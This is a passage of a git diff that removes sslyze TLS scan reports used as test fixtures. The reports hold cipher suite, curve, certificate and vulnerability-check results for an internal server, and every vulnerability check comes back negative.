"is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256", - "openssl_name": "DHE-RSA-CAMELLIA128-SHA256" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_ARIA_256_GCM_SHA384", - "openssl_name": "DHE-RSA-ARIA256-GCM-SHA384" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_ARIA_128_GCM_SHA256", - "openssl_name": "DHE-RSA-ARIA128-GCM-SHA256" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "DHE-RSA-AES256-GCM-SHA384" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CCM_8", - "openssl_name": "DHE-RSA-AES256-CCM8" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CCM", - "openssl_name": "DHE-RSA-AES256-CCM" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA256", - "openssl_name": "DHE-RSA-AES256-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-RSA-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "DHE-RSA-AES128-GCM-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CCM_8", - "openssl_name": "DHE-RSA-AES128-CCM8" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CCM", - "openssl_name": "DHE-RSA-AES128-CCM" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "DHE-RSA-AES128-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-RSA-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DHE-RSA-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong SSL version" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-DSS-SEED-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256", - "openssl_name": "DHE-DSS-CAMELLIA256-SHA256" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256", - "openssl_name": "DHE-DSS-CAMELLIA128-SHA256" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_ARIA_256_GCM_SHA384", - "openssl_name": "DHE-DSS-ARIA256-GCM-SHA384" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_ARIA_128_GCM_SHA256", - "openssl_name": "DHE-DSS-ARIA128-GCM-SHA256" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_AES_256_GCM_SHA384", - "openssl_name": "DHE-DSS-AES256-GCM-SHA384" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA256", - "openssl_name": "DHE-DSS-AES256-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-DSS-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_AES_128_GCM_SHA256", - "openssl_name": "DHE-DSS-AES128-GCM-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA256", - "openssl_name": "DHE-DSS-AES128-SHA256" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-DSS-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - } - ], - "tls_version_used": "TLS_1_2" - }, - "status": "COMPLETED" - }, - "tls_1_3_cipher_suites": { - "error_reason": null, - "error_trace": null, - "result": { - "accepted_cipher_suites": [], - "is_tls_version_supported": false, - "rejected_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_CHACHA20_POLY1305_SHA256", - "openssl_name": "TLS_CHACHA20_POLY1305_SHA256" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_AES_256_GCM_SHA384", - "openssl_name": "TLS_AES_256_GCM_SHA384" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_AES_128_GCM_SHA256", - "openssl_name": "TLS_AES_128_GCM_SHA256" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_AES_128_CCM_SHA256", - "openssl_name": "TLS_AES_128_CCM_SHA256" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_AES_128_CCM_8_SHA256", - "openssl_name": "TLS_AES_128_CCM_8_SHA256" - }, - "error_message": "TLS alert: handshake failure" - } - ], - "tls_version_used": "TLS_1_3" - }, - "status": "COMPLETED" - }, - "tls_1_3_early_data": { - "error_reason": null, - "error_trace": null, - "result": null, - "status": "NOT_SCHEDULED" - }, - "tls_compression": { - "error_reason": null, - "error_trace": null, - "result": { - "supports_compression": false - }, - "status": "COMPLETED" - }, - "tls_fallback_scsv": { - "error_reason": null, - "error_trace": null, - "result": null, - "status": "NOT_SCHEDULED" - } - }, - "scan_status": "COMPLETED", - "server_location": { - "connection_type": "DIRECT", - "hostname": "10.10.10.10", - "http_proxy_settings": null, - "ip_address": "196.31.129.43", - "port": 443 - }, - "uuid": "9bbfaad7-b1f1-4002-b884-d735b57c45dd" - } - ], - "sslyze_url": "https://github.com/nabla-c0d3/sslyze", - "sslyze_version": "5.0.1" -} \ No newline at end of file diff --git a/src/backend/testing/data/reports/sslyze/protocols.json b/src/backend/testing/data/reports/sslyze/protocols.json deleted file mode 100644 index e2774e1c2..000000000 --- a/src/backend/testing/data/reports/sslyze/protocols.json +++ /dev/null @@ -1,4414 +0,0 @@ -{ - "date_scans_completed": "2022-02-18T15:24:00.134020", - "date_scans_started": "2022-02-18T15:23:41.246559", - "server_scan_results": [ - { - "connectivity_error_trace": null, - "connectivity_result": { - "cipher_suite_supported": "ECDHE-RSA-AES256-GCM-SHA384", - "client_auth_requirement": "DISABLED", - "highest_tls_version_supported": "TLS_1_2", - "supports_ecdh_key_exchange": true - }, - "connectivity_status": "COMPLETED", - "network_configuration": { - "network_max_retries": 3, - "network_timeout": 5, - "tls_client_auth_credentials": null, - "tls_opportunistic_encryption": null, - "tls_server_name_indication": "10.10.10.10", - "xmpp_to_hostname": null - }, - "scan_result": { - "certificate_info": { - "error_reason": null, - "error_trace": null, - "result": { - "certificate_deployments": [ - { - "leaf_certificate_has_must_staple_extension": false, - "leaf_certificate_is_ev": false, - "leaf_certificate_signed_certificate_timestamps_count": 0, - "leaf_certificate_subject_matches_hostname": false, - "ocsp_response": null, - "ocsp_response_is_trusted": null, - "path_validation_results": [ - { - "openssl_error_string": "unable to get local issuer certificate", - "trust_store": { - "ev_oids": null, - "name": "Android", - "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/google_aosp.pem", - "version": "12.0.0_r9" - }, - "verified_certificate_chain": null, - "was_validation_successful": false - }, - { - "openssl_error_string": "unable to get local issuer certificate", - "trust_store": { - "ev_oids": null, - "name": "Apple", - "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/apple.pem", - "version": "iOS 15, iPadOS 15, macOS 12, tvOS 15, and watchOS 8" - }, - "verified_certificate_chain": null, - "was_validation_successful": false - }, - { - "openssl_error_string": "unable to get local issuer certificate", - "trust_store": { - "ev_oids": null, - "name": "Java", - "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/oracle_java.pem", - "version": "jdk-13.0.2" - }, - "verified_certificate_chain": null, - "was_validation_successful": false - }, - { - "openssl_error_string": "unable to get local issuer certificate", - "trust_store": { - "ev_oids": [ - { - "dotted_string": "1.2.276.0.44.1.1.1.4", - "name": "Unknown OID" - }, - { - "dotted_string": "1.2.392.200091.100.721.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.2.40.0.17.1.22", - "name": "Unknown OID" - }, - { - "dotted_string": "1.2.616.1.113527.2.5.1.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.159.1.17.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.13177.10.1.3.10", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.14370.1.6", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.14777.6.1.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.14777.6.1.2", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.17326.10.14.2.1.2", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.17326.10.14.2.2.2", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.17326.10.8.12.1.2", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.17326.10.8.12.2.2", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.22234.2.5.2.3.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.23223.1.1.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.29836.1.10", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.34697.2.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.34697.2.2", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.34697.2.3", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.34697.2.4", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.36305.2", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.40869.1.1.22.3", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.4146.1.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.4788.2.202.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.6334.1.100.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.6449.1.2.1.5.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.782.1.2.1.8.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.7879.13.24.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.8024.0.2.100.1.2", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.156.112554.3", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.528.1.1003.1.2.7", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.578.1.26.1.3.3", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.756.1.83.21.0", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.756.1.89.1.2.1.1", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.792.3.0.3.1.1.5", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.792.3.0.4.1.1.4", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.840.1.113733.1.7.23.6", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.840.1.113733.1.7.48.1", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.840.1.114028.10.1.2", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.840.1.114171.500.9", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.840.1.114404.1.1.2.4.1", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.840.1.114412.2.1", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.840.1.114413.1.7.23.3", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.840.1.114414.1.7.23.3", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.840.1.114414.1.7.24.3", - "name": "Unknown OID" - } - ], - "name": "Mozilla", - "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/mozilla_nss.pem", - "version": "2021-12-19" - }, - "verified_certificate_chain": null, - "was_validation_successful": false - }, - { - "openssl_error_string": "unable to get local issuer certificate", - "trust_store": { - "ev_oids": null, - "name": "Windows", - "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/microsoft_windows.pem", - "version": "2021-11-28" - }, - "verified_certificate_chain": null, - "was_validation_successful": false - } - ], - "received_certificate_chain": [ - { - "as_pem": "-----BEGIN CERTIFICATE-----\nMIIFiDCCBHCgAwIBAgITMgAAAAPIc8FINNJA7QAAAAAAAzANBgkqhkiG9w0BAQsF\nADBLMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFTATBgoJkiaJk/IsZAEZFgVhY3V0\nZTEbMBkGA1UEAxMSYWN1dGUtQVRTU0VSVkVSLUNBMB4XDTIyMDEwNjA2MzQ1OFoX\nDTMwMDEwNDA2MzQ1OFowIDEeMBwGA1UEAxMVYXRzc2VydmVyLmFjdXRlLmxvY2Fs\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5I83XS+EgKDI6LWJAgkG\nr+UEcm9Fe8lpgi76x9bHi0iuwy6nzIhpIS2wTgUrVyLs0615/jX8/QoG61TvUdRv\nJrK0Pz8mGqr3AaBP/TZ66Ikua2+5e2Ep3AKMatmFKmh2LJOTJHgcCZ0mmbjBYsKV\nnstm4rCmsxnBLSJvzioLvjTKoW7w54L8ytI/3OkU96JWSVEeWVPLarRa5bSJJw23\nYkORTbXGpMS5WS/Ri9ULlyQ05yOduCUVVkf51uUMl1g9qC54BWJK9+Tudrw25I8j\ni/cKcCfrpIg7goJszwskocEFcWvd4M6X5MtLxM0Ym/zDdWHSbO73k6RQznrXSkyI\n+QIDAQABo4ICjjCCAoowPQYJKwYBBAGCNxUHBDAwLgYmKwYBBAGCNxUIgdLLYoO6\nuH+G7Ycfh6ubRYPxxA8whMqJV4Pi6S4CAWQCAQQwEwYDVR0lBAwwCgYIKwYBBQUH\nAwEwDgYDVR0PAQH/BAQDAgWgMBsGCSsGAQQBgjcVCgQOMAwwCgYIKwYBBQUHAwEw\nHQYDVR0OBBYEFFO05mfmIOSLXSu0oWbxyzgNTwrRMCsGA1UdEQQkMCKCFWF0c3Nl\ncnZlci5hY3V0ZS5sb2NhbIIJYXRzc2VydmVyMB8GA1UdIwQYMBaAFM2FE9nl3pUL\nkFBnuMVdNlldV9FJMIHSBgNVHR8EgcowgccwgcSggcGggb6GgbtsZGFwOi8vL0NO\nPWFjdXRlLUFUU1NFUlZFUi1DQSxDTj1BVFNTRVJWRVIsQ049Q0RQLENOPVB1Ymxp\nYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24s\nREM9YWN1dGUsREM9bG9jYWw/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNl\nP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIHEBggrBgEFBQcBAQSB\ntzCBtDCBsQYIKwYBBQUHMAKGgaRsZGFwOi8vL0NOPWFjdXRlLUFUU1NFUlZFUi1D\nQSxDTj1BSUEsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMs\nQ049Q29uZmlndXJhdGlvbixEQz1hY3V0ZSxEQz1sb2NhbD9jQUNlcnRpZmljYXRl\nP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG\n9w0BAQsFAAOCAQEAPCYQ8PZWupiFDR5Nr9ai5pyBieTvFUu8iFCs/E9e9dkU7+eN\n24la6d6hAALMyXd64nf1sQhkWCkDc/E8uJU4/jsA+vqQ+jS+Woad7tfEI+S/+UOq\nDPoOGOzj9EVnJVsF1Rfed4Kf83SWhSrYIYJCcwQuOhVtPyXL2UEj7SReP3WmBT52\nNvWZSxcOh6aOd2c/SFnLPLp1QOk1euVzAeUNqCNx2c+hEIb9Wz7CKtbFmDNgBlIX\noDL8qorZFspSU6xn3DpSHqTx9sODQGPBMEDzB8gzQA0VdBHyWlKko1M/uc50taIN\nodyAYPv283lqci8KHFY/kj3aGcx6a/QbJEpiCA==\n-----END CERTIFICATE-----\n", - "fingerprint_sha1": "+VTWdwzzVN8/ou1PeMMZAsEgo2g=", - "fingerprint_sha256": "OtAk01iuk62Cd+LG8jb7XetU195YR0Kl0vgTMWQqk1U=", - "hpkp_pin": "PgyL26XGAvVQ9f2RXab2B79aN/zPcW3pcv//acTZjrw=", - "issuer": { - "attributes": [ - { - "oid": { - "dotted_string": "0.9.2342.19200300.100.1.25", - "name": "domainComponent" - }, - "rfc4514_string": "DC=local", - "value": "local" - }, - { - "oid": { - "dotted_string": "0.9.2342.19200300.100.1.25", - "name": "domainComponent" - }, - "rfc4514_string": "DC=acute", - "value": "acute" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=acute-ATSSERVER-CA", - "value": "acute-ATSSERVER-CA" - } - ], - "rfc4514_string": "CN=acute-ATSSERVER-CA,DC=acute,DC=local" - }, - "not_valid_after": "2030-01-04T06:34:58", - "not_valid_before": "2022-01-06T06:34:58", - "public_key": { - "algorithm": "_RSAPublicKey", - "ec_curve_name": null, - "ec_x": null, - "ec_y": null, - "key_size": 2048, - "rsa_e": 65537, - "rsa_n": 28852956104992540889679167573122351034256197663607445164798179506252547022732633248988190858660189499264264994131471982066989055801426821019833041414213395342574383250396994040638014087236881185511065397533540854679604217195596071612512270234226360734985292721213972115665484925447515460067846070956517518053396057466460410818494249760181461630646210391043422747633695516065644940955260588977670297371078733212359849258398782994905010226133504218023095464393778941630309427377024594177476782555370167376462972187341535526298683142366247208063894257182416079977959701289298356934965732063195750086107670001873213753593 - }, - "serial_number": 1115037259946173700629708867085234125024526339, - "signature_algorithm_oid": { - "dotted_string": "1.2.840.113549.1.1.11", - "name": "sha256WithRSAEncryption" - }, - "signature_hash_algorithm": { - "digest_size": 32, - "name": "sha256" - }, - "subject": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=atsserver.acute.local", - "value": "atsserver.acute.local" - } - ], - "rfc4514_string": "CN=atsserver.acute.local" - }, - "subject_alternative_name": { - "dns": [ - "atsserver.acute.local", - "atsserver" - ] - } - } - ], - "received_chain_contains_anchor_certificate": null, - "received_chain_has_valid_order": true, - "verified_certificate_chain": null, - "verified_chain_has_legacy_symantec_anchor": null, - "verified_chain_has_sha1_signature": null - } - ], - "hostname_used_for_server_name_indication": "10.10.10.10" - }, - "status": "COMPLETED" - }, - "elliptic_curves": { - "error_reason": null, - "error_trace": null, - "result": { - "rejected_curves": [ - { - "name": "X448", - "openssl_nid": 1035 - }, - { - "name": "prime192v1", - "openssl_nid": 409 - }, - { - "name": "secp160k1", - "openssl_nid": 708 - }, - { - "name": "secp160r1", - "openssl_nid": 709 - }, - { - "name": "secp160r2", - "openssl_nid": 710 - }, - { - "name": "secp192k1", - "openssl_nid": 711 - }, - { - "name": "secp224k1", - "openssl_nid": 712 - }, - { - "name": "secp224r1", - "openssl_nid": 713 - }, - { - "name": "secp256k1", - "openssl_nid": 714 - }, - { - "name": "secp521r1", - "openssl_nid": 716 - }, - { - "name": "sect163k1", - "openssl_nid": 721 - }, - { - "name": "sect163r1", - "openssl_nid": 722 - }, - { - "name": "sect163r2", - "openssl_nid": 723 - }, - { - "name": "sect193r1", - "openssl_nid": 724 - }, - { - "name": "sect193r2", - "openssl_nid": 725 - }, - { - "name": "sect233k1", - "openssl_nid": 726 - }, - { - "name": "sect233r1", - "openssl_nid": 727 - }, - { - "name": "sect239k1", - "openssl_nid": 728 - }, - { - "name": "sect283k1", - "openssl_nid": 729 - }, - { - "name": "sect283r1", - "openssl_nid": 730 - }, - { - "name": "sect409k1", - "openssl_nid": 731 - }, - { - "name": "sect409r1", - "openssl_nid": 732 - }, - { - "name": "sect571k1", - "openssl_nid": 733 - }, - { - "name": "sect571r1", - "openssl_nid": 734 - } - ], - "supported_curves": [ - { - "name": "X25519", - "openssl_nid": 1034 - }, - { - "name": "prime256v1", - "openssl_nid": 415 - }, - { - "name": "secp384r1", - "openssl_nid": 715 - } - ], - "supports_ecdh_key_exchange": true - }, - "status": "COMPLETED" - }, - "heartbleed": { - "error_reason": null, - "error_trace": null, - "result": { - "is_vulnerable_to_heartbleed": false - }, - "status": "COMPLETED" - }, - "http_headers": { - "error_reason": null, - "error_trace": null, - "result": null, - "status": "NOT_SCHEDULED" - }, - "openssl_ccs_injection": { - "error_reason": null, - "error_trace": null, - "result": { - "is_vulnerable_to_ccs_injection": false - }, - "status": "COMPLETED" - }, - "robot": { - "error_reason": null, - "error_trace": null, - "result": { - "robot_result": "NOT_VULNERABLE_NO_ORACLE" - }, - "status": "COMPLETED" - }, - "session_renegotiation": { - "error_reason": null, - "error_trace": null, - "result": { - "is_vulnerable_to_client_renegotiation_dos": false, - "supports_secure_renegotiation": true - }, - "status": "COMPLETED" - }, - "session_resumption": { - "error_reason": null, - "error_trace": null, - "result": null, - "status": "NOT_SCHEDULED" - }, - "ssl_2_0_cipher_suites": { - "error_reason": null, - "error_trace": null, - "result": { - "accepted_cipher_suites": [], - "is_tls_version_supported": false, - "rejected_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "SSL_CK_RC4_128_WITH_MD5", - "openssl_name": "RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "SSL_CK_RC4_128_EXPORT40_WITH_MD5", - "openssl_name": "EXP-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "SSL_CK_RC2_128_CBC_WITH_MD5", - "openssl_name": "RC2-CBC-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5", - "openssl_name": "EXP-RC2-CBC-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "SSL_CK_IDEA_128_CBC_WITH_MD5", - "openssl_name": "IDEA-CBC-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "SSL_CK_DES_64_CBC_WITH_MD5", - "openssl_name": "DES-CBC-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "SSL_CK_DES_192_EDE3_CBC_WITH_MD5", - "openssl_name": "DES-CBC3-MD5" - }, - "error_message": "Server rejected the connection" - } - ], - "tls_version_used": "SSL_2_0" - }, - "status": "COMPLETED" - }, - "ssl_3_0_cipher_suites": { - "error_reason": null, - "error_trace": null, - "result": { - "accepted_cipher_suites": [], - "is_tls_version_supported": false, - "rejected_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_SHA", - "openssl_name": "RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_MD5", - "openssl_name": "RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_SHA", - "openssl_name": "NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_MD5", - "openssl_name": "NULL-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_IDEA_CBC_SHA", - "openssl_name": "IDEA-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - 